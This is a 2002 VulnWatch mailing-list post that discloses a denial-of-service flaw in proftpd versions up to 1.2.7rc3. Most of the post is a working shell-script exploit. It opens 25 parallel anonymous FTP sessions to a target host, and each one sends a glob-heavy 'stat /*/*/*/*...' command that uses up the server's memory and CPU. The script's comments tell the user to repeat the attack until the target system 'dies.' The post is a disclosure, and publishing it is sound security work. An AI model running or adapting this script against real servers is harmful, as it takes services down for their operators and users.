[VulnWatch] proftpd <=1.2.7rc3 DoS

From: Rob klein Gunnewiek (rmkleingat_private)
Date: Sun Dec 08 2002 - 04:53:57 PST

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    Hello,
    
    proftpd is vulnerable to denial of service similar to the list
    */../*/../*/../*.
    
    #!/bin/sh
    #
    # proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least
    # might work against many other FTP daemons
    # consumes nearly all memory and alot of CPU
    #
    # tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3
    #
    # 7-dec-02 - detach  -  www.duho.org
    #
    # use: ./prodos.sh <host> <user> <pass>
    # do this some more to make sure the system eventually dies
    
    cnt=25
    while [ $cnt -gt 0 ] ; do
    ftp -n << EOF&
    o $1
    quote user $2
    quote pass $3
    quote stat /*/*/*/*/*/*/*
    quit
    EOF
    let cnt=cnt-1
    done
    sleep 2
    killall -9 ftp
    echo DONE!
    
    #end
    



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